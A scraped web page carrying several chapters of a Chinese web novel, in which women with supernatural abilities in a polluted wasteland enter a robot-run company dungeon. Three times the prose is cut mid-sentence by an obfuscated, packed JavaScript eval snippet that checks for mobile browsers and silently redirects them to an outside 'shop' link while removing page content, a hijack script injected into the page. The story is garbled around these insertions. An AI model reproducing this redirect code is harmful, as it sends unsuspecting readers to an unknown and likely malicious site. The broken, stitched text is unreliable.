检查室主要分为里外两个房间，里面的那个房间是被检查者待的，几乎是全封闭式的，什么都没有；而外面用来记录数据的房间则相对开放，放着几台实时记录和分析数据的仪器。 两个房间用一个单向可视墙隔开，外面的人可以看到里面正准备接受检查的人，而被检查者却只能看到周围四堵厚重的墙。 率先进入检查室的是陈听，接着是瞿风。 陈听的精神污染值是33%，精神力等级属于最低级的F级。她虽然处于污染异变的边缘，但这个数值已经维持将近二十年了，一直都很稳定，所以倒也算是正常。 瞿风的精神污染值是11%，精神力等级属于B级里面最优秀的，接近于A级精神力，再加上是属于空间系异能者，综合实力颇为优秀。 她们其它的各项数据也全部正常，身上没有任何伤痕，不存在任何污染异变的倾向。 方沐是最后一个进入检查室的人。 她进入检查室前，大概了解到精神力污染值是观察一个人是否有污染异变的最准确方式。 精神力等级也是通过精神力污染值的高低进行排序，精神力污染值越低的人类，精神力等级也相对较高，较高的精神力等级能使得异能发挥更大更强的作用。 但如果你的异能非常强大，但精神力等级很低，那么再好的异能也无法完全发挥作用。比如陈听虽然拥有时间类异能【预言】，但因为精神力等级过低，所以发挥不出太大作用。 人类的精神污染值为0%~35%，每五个数值为一个精神力等级，比如在0%到5%之间包括5%的就被定为S级精神力，30%到35%之间包括35%的就被定为F级精神力，超出35%污染值之外的人类默认为会慢慢异化成为污染物。 极高和极低的精神力级别在人类群体当中都是极其稀少的存在，很少有人的精神力能强大到把污染值一直保持在5%之内，同样更少人能放任污染值到达F级区间却不持续攀高。从这个角度来看，陈听也算是一个极为厉害的存在。 轮到方沐进入检查室，她事先并不知道检查室的结构，所以刚推开门进去得时候，就被里面极其压抑的环境震惊了。 检查室内是完全封闭的，四面墙、天花板以及地面全部是纯白色的，里面什么东西都没有，只有一盏嵌在屋顶上闪着刺眼白光的灯。 “砰！”屋门关上了，唯一和外界有联系的通道关闭了，一种窒息感突然涌上来。 方沐看着四周都是一片白的房间，忽然觉得好像迷失了方向。但与此同时，心底渐渐涌上一股熟悉而又恐怖的感觉。 成燕站在墙外，看着方沐的一举一动，问：“结果出来了吗？” 一名观察员观察着屏幕上显示的数据，皱起眉头：“好像有点奇怪。” “怎么回事？这种方式都没办法精准计算她的精神力污染值？”成燕往屏幕上看去。 屏幕上不断波动着一串数据，当其它数据都已经渐渐归于平稳的时候，位于最上方的精神力污染值却一直无法稳定下来。上面的数字从0开始攀升至100，数字还在继续变大，直到变大到9999这样一个无法再次持续增长的数字后，又再次骤降下来。 “她的精神力污染值似乎波动很大。”观察员也从未见过这种情况。 “我能看到。”成燕从屏幕上又移回到方沐身上，发现了方沐的不对劲，“她怎么了？” 方沐站在房间中央，大脑变得如同这间房间一般空白，心里骤然涌上无数难过的想法与瞬间。她手心里的蘑菇微微颤抖，拼命挣扎，似乎想要从她的身体里破土而出。 她握住自己的左手手腕，发现那朵浅褐色蘑菇的表面上出现了一道道宛如血管般的红丝，正随着她的心脏有规律的跳动着。 一段新的记忆骤然出现在她的大脑之中。 精神病院里，她也住在这样一间除了白色以外什么颜色都没有的房间里，她缩在床上，躲在被窝里，偷偷翻看着一本她从别人那里借来的彩色连环漫画。遇到好笑的情节时，她拼命捂住嘴巴，笑得无声。 而在门外，似乎有双眼睛正在紧盯着她。 方沐抬起头，看向正对着自己的墙面。那个情景和此刻一模一样，现在墙的另一面，似乎也有人在盯着她。 “她发现了？”成燕隔着一堵单向墙，与方沐对上了视线。 “不会的，里面是看不到外面的。”旁边一个助手及时回答。 成燕也知道从里面根本是无法看到外面的，除非那人是拥有相关异能的异能者。可方沐的异能已经暴露出来了，她是自然系异能，与那方面的异能可以说是毫无干系。 是巧合吗？ “老师！精神力污染值有结果了！”一直盯着屏幕的观察员喊道。 成燕刚看向屏幕，另一个声音又来了：“老师！方沐她晕倒了！” 屏幕上的显示结果为：？ 成燕愣住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“唉——”陈听重重地叹了一口气，看起来很无奈，“没办法，我和瞿风都是无房居民，出城的最后宽限时间就是明天。” 方沐有些意外，以瞿风的能力竟然会沦落到没有房子居住的地步。她看向瞿风，瞿风和她对视上，很快移开视线，没有说话。 突然，方沐想到什么，有些疑惑：“不对，我们不是刚拿到一大笔晶核点吗？这些足够我们每个人都租个房子了吧。” “这个……”陈听心虚地移开方沐审判的目光，把心一横，说：“我也没想到我会遇到那帮债主，所以只能老老实实把钱还了。不过好在这是最后一笔了，所以还剩了点钱，正好一人十晶核点找了个日租房，顺便买了几瓶营养液。” “……”方沐看着她，不说话，她就说陈听怎么这么殷勤，又来关心她，又给她递营养液的，原来是有鬼。 “哎呀方沐我也不想这样的，但是我也是实在没有办法。这次出城后，要是我能赚到污染晶核，我会还你们的。”陈听低着头，观察方沐的表情。 “我的不用还我。”一直没发声的瞿风突然开口，声音依旧冷冷淡淡的。 “嘿嘿瞿风你人真好，我就知道我没看错你。”一旁的陈听听后马上换上笑脸。 方沐看了两人一眼，也说：“算了，就这样吧，反正也没多少晶核点。”而且，陈听还贡献出了不少营养液，算是正好相抵了吧。 “谢谢你方沐，你简直就是我的大贵人！”陈听彻底放松，抱着方沐的胳膊晃来晃去，表达她的感谢之情。 方沐忽视掉陈听一直在对她释放星星眼的态度，一口把手里那瓶没滋没味的营养液干了。 啧，依旧不好喝。 忽然，她想到一个问题，她现在身上只剩3晶核点，也属于无房居民。 “对了，你们明天出城也加我一个。” 12. 第 12 章 “啊？”陈听一愣，抱着方沐晃悠的手也不动弹了，用一种不可思议的眼神看着她，“你也没有晶核点？” “嗯。”方沐点了点头，不得不承认自己贫穷的事实。 “那你怎么舍得买棒棒糖的，不对，还是说你其实是从污染区里找到的？”陈听再次杀人诛心。 方沐真的后悔了，她当初就应该把文昕锐兜里的棒棒糖都带走，还是怪她太善良了。 “别人送的。”方沐随便说了个理由跳过这个话题，反问陈听：“倒是你，当时怎么没把棒棒糖卖掉换钱，而是直接吃了。” 方沐觉得陈听这人很奇怪，明明一副急缺晶核点的模样，但似乎又不太看重晶核点。 “害，当时我也没想到会出现这种情况，不然我肯定不会吃掉的。”陈听叹了口气，继续说：“要是我的精神力等级和从前一样，就不会这样了……” 方沐随着陈听的视线看去，望向陈听那条不断晃动的右腿，那条腿在衣服的包裹下看起来和正常人无异，可每次走路时能明显看出用不上力气，是条有问题的腿。 “没有什么解决办法吗？”方沐发现精神力对于人类来讲是一个很重要的东西，这似乎也是和污染物对抗的关键。 “像我这样的还是特例吧，毕竟很少有人污染值都这么高了竟然还没异化成污染物。”陈听又换上一副嬉皮笑脸的模样，似乎对此还有些自豪，“不过很多人都认为太阳是净化精神力的关键，尤其是黎明区那群人，对此坚定不移。当然，我对此还是保持怀疑。” “黎明区里的人是怎样的？”方沐知道黎明区和黄昏区紧挨着，是更加靠近太阳的地区。 “那里只有精神力B级及以上的异能者才可以进入，消费更高，管理更严格，也更加安全。我已经很久没去那里面了，现在变成什么样我也不清楚。”陈听想了想，又告诉她：“不过，要是运气好的话，明天出城的时候或许可以见到黎明区的人。” B级及以上？方沐又看了看陈听，推测出她之前的精神力等级起码是B级，甚至会更高。 那么究竟是什么样的污染物可以让一个高等级精神力人类，甚至异能为【预言】的异能者受到如此重伤，还跌落成了精神力等级最底层的人类呢？ 方沐很想多问一些，但她能感觉到陈听对这件事极为抵触，便没有继续问下去。 她换了询问对象，走到瞿风身边，看见她正在擦拭着她那两把银色弯刀，问：“你是A级精神力，你去过黎明区吗？” “没有，不感兴趣。”瞿风头也不抬地答道。 方沐观察着瞿风没有丝毫变动的表情，却觉得并非如此。紧接着，她看到瞿风手里那把刀的刀柄上，刻着一个潇洒的“风”字。 “这是你的名字？”方沐有些好奇，她明显看出瞿风对这把刀非常爱惜，刻着自己的名字倒也正常。 瞿风没有回答，只是把那把刀放下，又拿起了另外一把刀。这把刀的刀柄上也有一个“风”字，只是歪歪扭扭的，更像一个小孩子写的字，与另一把刀上的明显不是同一个人的笔迹。 “这把是。”瞿风只说了这三个字。 眼看瞿风不说话，方沐也明白了，这两把刀并不属于一个主人。瞿风只说手里这把刀是她的，说明另外一把刀有别的主人。 瞿风没有往下说，方沐也没有继续问，两个人就这样结束了对话。 ------------------------------------------------------ 第二天，三人来到耀光城最外围的一块区域。 这里人很多，互相拥挤着，比方沐来到耀光城见到的所有人加起来还要多。 “我们来这里干什么？”方沐以为出城直接从城门离开就好了，没想到却被陈听拉着来了一个仿佛搞什么活动的集市上。 “来这里等已经探索出来的污染副本，这样我们可以直接去目的地，节约不少时间。”陈听抬头，示意方沐朝上面看去，“看到那个大屏了吗？一会儿会在上面公布目前已经探索出来的污染副本，到时候直接抢就是了。” 方沐这时才发现，人群围绕的中间有个高科技质感的大屏幕，上面此刻正显示着一串倒计时。 00：20：43 方沐瞳孔微缩。 上面倒计时的显示方式和她看到的那串字幕一模一样，仿佛重合了一般。 那双不知道是谁的眼睛似乎又出现了，此刻正在哪里盯着她。 方沐感到浑身发凉，这突然发生的一切，到底都是怎么回事？ 世界上，真的会有如此巧合的事？方沐不相信。 这个废土世界和耀光城里肯定藏着她想知道的秘密。 方沐强迫自己冷静下来，侧头去问陈听：“怎么抢？” 陈听伸了伸胳膊，露出自己手腕上的黑色手环，说：“这个手环除了交易晶核点，查看精神力污染值以外，最大的作用就是接受相关副本信息。” 方沐也伸出自己的黑色手环，想起来昨天遇到那个B级污染物的时候，这个手环也显示了和她脑中字幕一模一样的信息。 “具体是怎么接收？” “倒也没有什么技巧，虽然说是‘抢’副本，但实际上不过是看运气。据说，手环会接收最适合那个人的副本，或许这就是手环发明的初衷吧。” 方沐敏锐地注意到陈听话中的关键信息：“发明？这些手环是被谁发明的？”她不记得《废土人类生存手册》里有提到这些信息。 “哦，这个嘛，虽然没有明说，但大家都默认是耀光城的城主创造了这一切。当然，所有人都没有见过城主，没人知道城主的名字。” 城主？方沐皱起眉头，若有所思。 “喂喂喂，倒计时要结束了，马上要开始了。”陈听突然拍了拍方沐的肩膀。 方沐抬头。 【倒计时：00：00：00】 屏幕上倒计时消失的一瞬间，刷新出一大片副本。每个副本的名称都不一样，等级也从A到D级都有。越低等级的副本数量越多，反之，则越少。 方沐记得手册里曾经提到，污染副本根据副本里最高等级的污染物进行定级，总共分为S+、S、A、B、C、D六个等级。 人群一片喧哗。 “我抢到了！我抢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470526|201454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了！是C级副本，谁想和我组队！” “我是D级副本，有人和我交换C级或B级副本吗？” “槽糕，怎么是A级副本，我的精神力等级只有D级，我还不想死啊！” …… 大屏幕上的副本数量在不断减少，表明被“抢”到的副本越来越多。 方沐的手环上还没有任何变化，她还没有抢到任何副本。 旁边的陈听也有些着急：“怎么回事，还没有匹配的副本。” 瞿风倒是一脸淡然，她的手环也没有抢到。 突然，“嗡——”的一声。 三人同时去看，方沐的手环亮起来了。 上面显示： 副本：永生机械公司 等级：A 污染浓度：72% “救命啊，怎么直接抢到A级了！这里面一共才几个A级？接受到副本后是必须进入的，否则会失去入城资格。”陈听不可置信。 方沐也有些惊讶，但觉得倒也无所谓。既然手环会给她匹配到最适合她的副本，那这里说不定有她想要得到的东西。 “就这个吧。” “不行不行。”陈听连忙反驳，“现在还没结束呢，说不定我们两个人还能匹配到别的副本。” 话音刚落，屏幕上所有的副本都消失了，陈听和瞿风的手环上依旧没有亮起 陈听立刻被打脸。 “但是我们只有三个人，进入A级副本至少需要四个人才稳妥，不如我们试试看和别人换副本？”陈听再次提建议。 瞿风摇摇头，否定了这个提议：“应该没人会和我们交换副本。” “唉。”陈听叹了口气，也知道这个事实，“那我们去哪里找第四个人？方沐你是新来的肯定没认识的人，我的交际圈就算了，瞿风她更是……” 陈听本来想说瞿风是个木头脸，平时话都不说几句，怀疑她可能没几个交流过的人。 结果，还没等她说完，陈听就发现身边的瞿风不见了人影。 她再一抬头，发现瞿风站在不远处，周围竟然围了一大圈人。 “瞿风，你和我们组队吧，我抢到了B级副本，我们这几个人肯定能很轻松通关的。” “让开让开，瞿风你还是和我们组队吧，我们这边有个A级副本，拿到的奖励会更多！” “让开让开，我先来的，瞿风你看看我们这个副本……” …… 陈听几乎要惊掉了下巴：“怎么回事？瞿风这么受欢迎？” 然后，她缓了缓，接受这个现实：“也对，她毕竟是顶级的A级精神力，受欢迎也是应该的。” 紧接着，陈听担心起来：“那她不会抛弃我们吧，那我们两个人……” 陈听话没说完，瞿风已经【瞬移】到了两人旁边，说：“我找到人了。” 陈听闭嘴，态度一百八十度转变，对着瞿风双手竖起大拇指：“你太厉害了！” 几分钟后，新的成员加入。 “你们好，我叫吴明明，我是B级精神力，我的异能是【雷达】。”一个面容清秀，年龄二十岁上下的男生站在几人面前。 13. 第 13 章 “他的异能可以扫描一百米内的情况，对我们来说很有帮助。”瞿风淡淡地介绍了一下，说明自己选择这个新队员的理由。 陈听点点头，也简单地做了个自我介绍：“你好，我叫陈听，我的异能是【预言】，虽然只是F级精神力，但我可以预知很多未来的事情。如果你有想知道的事情，欢迎来咨询，新顾客可以给你打折！” 方沐无语地扯了扯嘴角，想起来陈听之前写的那些小广告，真的是一点都没有崩人设。 “我叫方沐，异能是【蘑菇】，精神力等级C级。” 陈听和瞿风不约而同地看了方沐一眼，没有戳破她的谎言。 她们都知道，自然系异能者的等级不可能只是C级。更何况，她俩都看到了方沐击杀B级污染物的那个瞬间，能做到那种程度的精神力等级不可能太低。 吴明明听后，没有太多反应：“无所谓，我加入这个队伍完全是因为瞿风是A级精神力，可以保证我们顺利通关。你们两个只要不添乱不拖后腿就可以了，反正多人副本的奖励都是副本自动分配的，我只要拿到自己那部分就行。” 方沐敏锐地注意到了吴明明提及到的多人副本特殊性，对于吴明明说的那些过于理性的话倒是没有太多感触。 倒是旁边那个脸皮格外厚的骗子陈听，这个时候竟然沉默了起来。 方沐和瞿风同时注意到，看了陈听一眼，默契地没有指出。 几人简单地了解过对方后，没有再多耽搁，立马穿上防护服，准备出城。 由于城外没有太阳，所有污染区内都是黑夜状态。虽然黑夜对异能者的影响比较小，但是为了能够更好地辨认人类，防护服都统一做成了白色。 方沐穿好防护服，把头盔戴上，头盔上瞬间显示出了一串数据，实时监测着当地的污染度数值。 【当前污染度数值：32% 处于安全区范围内】 等方沐来到城门口的时候，她发现不远处有一批与众不同，腰部绕着一圈红色系带的队伍正在外出。 她好奇地看过去，发现其他正在出城的队伍都在为这只队伍让路，有一种格外异常的尊敬。 “这就是黎明区里的外出探索小队，污染副本的信息也都是由他们探索上传的。”陈听在一旁解释。 方沐看着那支探索小队，他们和其它小队有着明显的区别，队伍极其规范工整，行进步伐几乎一致，就像一支严格训练的军队。 黎明区里面到底是怎么样的呢，方沐再次对其产生了好奇。 等到探索小队离开后，其它的队伍也都陆陆续续离开了耀光城。 副本永生机械公司的位置距离不算太远，几人也没有合适的交通工具，所以只能步行前往。 从出城之后，方沐就看到头盔上的数值一直在不断变动。污染数值持续攀高，最终达到了55%。 【当前污染度数值：55% 处于轻度污染区范围内】 “太奇怪了，周围竟然没有一个污染物。”吴明明一直在用他的异能扫描着周围的情况，可出乎意料的是，这一路上异常平静，就连低级污染物都没有出现。 低级污染物是污染区内最为常见的污染物，它们形状大小不一，多呈现为黑色的液体形状，它们没有污染晶核，对异能者造不成太多威胁，但是却是构成污染区内的基本。 低级污染物会主动寻找猎物，无意识地进化成为有污染晶核的高级污染物。 当一段时间内，周围一直不出现低级污染物，无非只有两种情况，一种是它们在忌惮周围某种更加强大可怕的污染物，另一种则是有低级污染物在进化时吞噬了其它低级污染物。 无论哪种情况，对于踏入污染区内的人类来说，都不是一个好消息。 “你确定吗？周围一点异常情况都没有？”瞿风继续向吴明明确认情况。 “我确定。”他的【雷达】对周围没有任何反应。 当然，雷达是一个全面探索系统，不会区别敌友，只要有任何信号都会被探索出来，吴明明的【雷达】系统中，除了周围三个人的信号外再没有别的。 可是，这并不能说明什么，毕竟污染物不可能害怕人类，人类对污染物来说可是具备极强的吸引力的。 吴明明扫了方沐一眼，放弃了大脑中那个荒谬的想法。 几人警惕地走在路上，逐渐朝着方沐手环上显示的位置移动。 突然，吴明明一直没有变动的【雷达】波动了一下。 “周围有情况！”吴明明立刻大喊出声。 与此同时，几人头盔上的污染度数值持续攀升。 【当前污染度数值：56%，57%，58%……72% 处于中度污染区范围内】 一栋拔天大楼出现在四人面前，刚才还一片漆黑的世界顿时有了一片亮地。银色科技质感的大楼闪着熠熠亮光，大楼上方，写着“永生机械公司”六个大字。 几人面面相觑，互相点点头，朝着大楼门口走去。 大门是自动识别的开门系统，四人刚迈进去，一个圆柱形的半人高机器人移到了几人面前。 “欢迎来到永生机械公司，我们的宗旨是让每位顾客更加长寿更加健康～”机器人的声音是一种带着机械音的女声，充满感情却异常诡异。 “它长得好像垃圾桶”陈听小声嘟囔着。 方沐和瞿风没说话，也没反驳。 吴明明无语地撇了撇嘴。 “各位是来应聘的吧，请跟我来。”机器人对此并没有什么反应，反而球形脑袋上还显示出了像素微笑表情，两个细长的胳膊做出一个“请”的动作。 《废土人类生存手册》中提到，污染副本是比污染物更加高级的存在，需要找到并摧毁污染源/污染物才能通关副本。因此，进入副本前期，最好按着NPC的指示行动。 【副本：永生机械公司 等级：A 污染浓度：72% 提示：当前公司似乎急缺人类员工】 “嗡——”手环再次震动。 方沐面前的字幕上显示着和手环上相同的提示信息。 她跟在机器人后面，注意到了这次副本给出的提示：公司急缺人类员工。 刚才在大厅里的时候，方沐特意观察了一下，发现整个大厅里除了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470527|201454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚进来的四个人以外，竟然再没有一个人类，所有工作的都是机器人，而这些机器人也是长得千奇百怪，样子完全不统一。 “人类员工？我目前还没看到这个公司有一个人类唉，不过员工都是机器人了，想要多少不就有多少吗？”陈听适时地发出了吐槽，其余几个人也有相同的想法。 前面的机器人停在一个房间门口，打开门，对着里面说：“刘经理，有四位新的应聘者来了。” “进来吧。”里面传出一个中气十足的女声，听起来不像机器人。 但等方沐进去的时候，她完全愣住了，里面是个面积很小的会议室，最多能容纳十个人，但里面既没有人类，也没有机器人。 那么，声音是从哪里传出来的？ “欢迎几位前来应聘，不必拘谨，找座位坐下即可。”那个声音再次响起。 方沐朝着声音来源去看，发现发出声音的竟然是悬挂在墙上的大型屏幕，上面还贴心地显示出了字幕。 “天啊吓死我了，这个大屏幕竟然也是机器人员工？”吴明明捂着胸口，惊魂不定地看着这位“刘经理”。 刘经理倒是没有对吴明明这份反应吓到，反而跟他道歉：“抱歉，这是我的不周。各位也看到了，我们公司现在急缺人类员工，所以一直在大量招聘。当然，各位不要担心，我们也会给到各位满意的薪水。” “小孙，你给各位应聘者发放一下登记表格，让应聘者们填报一下信息吧。” “好的，刘经理。”那个圆柱形机器人就是所谓的小孙，它从一个柜子里拿出来了几份登记表，依次发放给了四人。 登记表？应聘信息？ 拿到登记表的方沐看着上面的文字，有着一瞬间的疑惑。她一直住在精神病院里，只在病院活动缺人时凑过数，自然也不知道招聘流程竟然还这么复杂。 在她的印象里，工作这种东西，不是报名就有活的吗？ “各位可以尽可能地添加完善这份登记表，我们会根据各位的填写信息给大家提供合适的岗位。”刘经理向大家解释。 但刘经理的话并没有给方沐带来什么帮助。 于是，当其余三人开始往登记表上填写信息的时候，方沐还在对着表格上的名称发愣。 毕业院校，个人学历，工作经验，职业技能，自我评价，这些都是什么跟什么？ 她可以填写她是从互爱精神病院校精神病科毕业，拥有二十六年住院经历，熟练掌握精神病自控和自我管理技能吗？ 还有这几个人，怎么看上去都知道怎么填的样子，只有她一个人一头雾水吗？ 不管了，随便写写吧，既然公司急缺人类员工，她应该也不会应聘失败吧。 几分钟后，小孙把几人的表格收集上交给了刘经理。 刘经理也是丝毫不拖沓，很快给出了四人面试结果。 “我已经根据各位的填写结果匹配了相应岗位，各位现在就可以入职了。” 大屏幕上，显示着四人的工作岗位。 陈听：行政秘书 瞿风：保安经理 吴明明：前台接待 方沐：后勤保洁 14. 第 14 章 岗位信息一出来，几人有些愣住了，每个人都分配到了不同的岗位上，而且岗位与岗位之间相差极大。 尤其是陈听，只有她进入到了与公司核心业务相关的部门内。 “你怎么做到的？”方沐有些好奇陈听在她的登记表上写了什么，明明都是字，怎么最后得到的结果差别却这么大。 陈听挑了挑眉毛，用一种神秘莫测的语气告诉她：“知道就是会，接触过就是熟练，听过的见过的，不管懂不懂，先写上再说。我就说我有二十余年的工作经验，对接过10000+次客户咨询业务，具备较强的沟通能力与文档处理能力，客户好评率高达99%。” 骗子不愧是骗子，这话术伸手就来。 方沐恍然大悟，抓住了关键信息，归根结底，就是她太老实了，吹牛不到位。 刘经理宣布完几人的面试结果后，接着补充道：“各位现在可以去自己岗位上就职了，要在试用期内好好表现，考核不合格是无法转正的。” 几人若有所思，猜测试用期内的考核是一条极为关键的信息。 小孙等到刘经理说完话后，把几个人填写的表格拿了回来。它掀开自己半圆形脑袋，把表格扔了进去。 “咕咚。”小孙把表格吞到了肚子里，半圆形的脑袋上再次出现像素微笑表情。 “原来不是像垃圾桶，而是真的垃圾桶。”陈听继续吐槽。 方沐也注意到了这一幕，她盯着小孙的圆柱形身体观察了一会儿，直到小孙将几人带离这个房间时，方沐才将视线移开。 几人最终在大厅分开。 “现在还不能确定这个副本里有什么淘汰条件，但试用期间的考核应该是其中一条，大家最好谨慎行事。”瞿风叮嘱几人，特意看了方沐一眼，接着说：“我会随时【瞬移】到你们身边，确认你们的情况。” “好。”得到瞿风这句保障，吴明明率先离开，去到了距离最近的岗位上。 陈听第二个离开，她报道的地方几乎位于整栋大楼的最高层。 最后，只剩下瞿风和方沐二人留在原地。 临走前，瞿风犹豫了一下，还是询问方沐：“你是不是有什么发现？刚才你一直盯着那个机器人。” “没有，只是感到好奇而已。”方沐笑着否定。 “好吧。”瞿风看出来方沐并不想告诉她真相，“但是我还是想问你一个问题，你还有第三个异能吗？” 方沐直视着瞿风的眼睛，从那双看似冷淡无波，实则充满着探究与好奇的眼睛里再看不出别的东西，看上去瞿风并没有任何会对她不利的想法。 但是，她们相处的时间太短了，她现在还不能完全相信瞿风，自然不可能把她可以不断获取异能的事情暴露出来。 方沐只是轻轻点了点头，说：“还有一个。” “好。”瞿风得到答案，和她告别：“注意安全。” 方沐有些意外，瞿风竟然没有继续向她询问，她本以为瞿风是想探探她，但现在看来是她想多了。方沐看着瞿风离开的背影，觉得瞿风本人并不像她的外表那样冷淡深沉。 瞿风离开后，方沐也没再停留，接着转身离开。 几分钟后，方沐来到地下一层，到达了自己的报道地点——后勤室。 离得很远，方沐就听到了后勤室里传来的嘟嘟囔囔的声音，听起来不像是一个人，更像是一群人。 离得近了，方沐终于听出来那些声音在说些什么。 “忙死了，急死了，怎么这么多活，干都干不完！” 方沐皱皱眉头，带着一种不祥的预感，敲了敲门。 敲门声并没有打断里面的声音，反而使得里面的声音更大了。 “烦死了！烦死了！好吵好吵！好多事好多事！去死去死去死！！！” 不管从哪个角度去看，里面这个东西看起来都不太正常，感觉和精神病院里病人的精神状态差不多。 方沐不再敲门，向下按住门把手，推开了房门。 声音骤然消失，接着出现在方沐面前的是堆满一房间的杂物。各种办公用品、保洁维修用品、应急物资堆放在里面，方沐连脚都没处放。 方沐觉得，后勤室的全名应该是后勤杂物室。 由于整个房间都被杂乱的物品堆满，方沐看不到这个房间里的机器人或人在哪里。她将视线上移，猛地和八只眼睛对上视线。 房顶上，一个长着八个超长胳膊，八只眼睛，像是机械蜘蛛的机器人悬挂着，它的胳膊还在不断运动，对屋里的物品进行分类排放。 “你好？”方沐对着机械蜘蛛打招呼。 机械蜘蛛其中一只眼睛看了她一眼，其它的眼睛还随着胳膊在不断移动。 或许是因为有外人的存在，机械蜘蛛的语气冷静下来，和刚才方沐听到的仿佛完全不是一个声音。 “新来的员工？”说话间，机械蜘蛛依旧在忙碌着，“这是你的保洁工具和工作证，去二楼卫生间干活吧。” 机械蜘蛛从角落里开始找东西，最后拖出来一辆保洁车，把所有东西都放到了车上，推到方沐面前。 方沐还没来得及插上话，那个机械蜘蛛就连人带车都推了出去，嘭的一声关上了门。 “啊啊啊啊啊烦死了烦死了！怎么还有这么多工作！什么时候才能干完！受不了受不了受不了！！！” 房门在方沐面前关上，里面烦躁的抱怨声继续响起，隔着房门都能感受到里面滔天的怨气。 看来即便是机器人，工作也不是一件快乐的事情。 方沐很有眼力地不再打扰这个机械蜘蛛，戴上自己的工作证，推着保洁车来到了货梯。 整栋大楼共有三十层，地上有二十八层，地下有两层，作为后勤保洁，她目前能去的范围是地下二层到地上二十层，再往上的层级，她需要经过批准才能前往。 方沐按下“2”的电梯按键，前往二楼卫生间。 二楼主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她穿过二楼连廊，路过好几个办公室与会议室。那些房间里不断传出键盘噼里啪啦的敲击声，以及各种交流与训斥的声音，听起来里面正有无数人在努力工作。 既然二楼都有卫生间需要打扫了，那里面一定也是有人类存在的吧。 方沐边走边想着，清洁车的轮子在地面上发出滚动声。所有房间的大门都紧闭着，除了方沐以外，外面没有一个人类甚至机器人，方沐觉得有些诡异。 她快走了两步，终于推着清洁车到达了她看到的第一个卫生间。 但是很奇怪的是，卫生间并不是用性别区分开，而是用“排泄物”来区分。一边是物体排放区，另一边是精神排放区，看起来完全不像是正常的卫生间。 方沐走进物体排放区，里面是一排排隔起来的单间卫生间，看起来有点像正常的人类卫生间。 里面有两个机器人正在工作，它们的身体整体呈现方形的机身，机器下面有一排扫把样的清洁工具，机身两侧有两条机械臂，可以更加灵活地进行清洁工作。 此刻，它们两个一左一右退出来，看到方沐的出现，蓝色的像素眼睛一亮，化成了弯弯的月牙形。 它们彼此对视一眼，开心地说：“太好了，又来人类员工了，我们终于可以休息了。” 接着，它们一起看向方沐，笑眯眯地对她说：“新人员工，今天的卫生间就由你来打扫吧。” 15. 第 15 章 方沐看着这两个行为诡异的机器人，没有同意，也没有拒绝，只是像一个新入职的员工一样，说道：“前辈们好，我是今天新来的后勤保洁，我叫方沐，大家多多关照。” “你好，我是后勤保洁304。” “你好呀，我是后勤保洁305~” 这两个机器人不像小孙和刘经理一样有人类一样的代称，它们只有机器人一般的编号。 “既然你是新人员工，那今天二楼的卫生间就全部由你来打扫吧，我们俩终于可以休息喽！”后勤保洁305欢乐地转了一个圈，它身下的拖把将它身下那片地擦得异常干净。 这么听两个机器人说的话来看，后勤保洁似乎有这种新人干活，老人休息的传统，这让方沐有些头大。 “二楼一共有几个卫生间？” “四个，每个卫生间都各有一个物体排放区和精神排放区。”后勤保洁304倒是没有在这上面为难她。 “这两个排放区的清理方式有什么不同吗？因为我有试用期考核，你们知道考核内容是什么吗？”方沐继续发动她的询问大招。 “当然有喽~”后勤保洁305绕到她的身边，“这两个排放区打扫难度可以说是非常不一样，各有各的难度。晚上九点下班后，会有考核员过来检查你的卫生打扫情况。要是不合格的话，你可就惨啦~” 后勤保洁304接着说完后勤保洁305没有提到的方面：“物体排放区需要你整理收拾员工们的物体排泄垃圾，你只需要将其投入废弃物体垃圾箱内即可。精神排放区需要你通过吸尘器洗干净排放区内的精神排泄垃圾，并将其放入净化箱内净化这些垃圾。当然，所有卫生间的地面和台面都要保持一尘不染，不能有任何污染。” 两个机器人虽然彻底地把二楼的所有卫生打扫工作都甩给了她，但在这些工作内容介绍上面，倒是跟她说得极为清楚明白。 方沐眯了眯眼，问它们：“我要是打扫不干净，你们也会受罚吗？” 后勤保洁304和后勤保洁305听到这个问题后，似乎有些惊讶，它们对视了一眼，冲着方沐点了点头，说：“会，但那对我们机器人来说不重要。” 会有惩罚，但对它们来说不重要。 是因为人类和机器人的受罚方式不一样，还是说同样的受罚方式对机器人来说无关痛痒呢？ “提醒你一下，我们的工作时间是从九点开始哦，现在马上就要到时间了，你最好准时开始，这也是考核的一部分哦~”这是后勤保洁304在说话。 “员工们的工作时间是早上八点到晚上八点，每隔两小时就会有一批员工进入卫生间排空垃圾。你最好在那之前打扫干净，否则员工会投诉你的。”这是后勤保洁305在说话。 方沐抬头，看了看挂在卫生间最显眼墙面上的闹钟，此时的时间是——8:44。 员工们开始工作的时间是早上八点，它们每隔两个小时会出来，那也就是说它们第一次出来的时间是10：00，留给方沐只有一个多小时的时间。 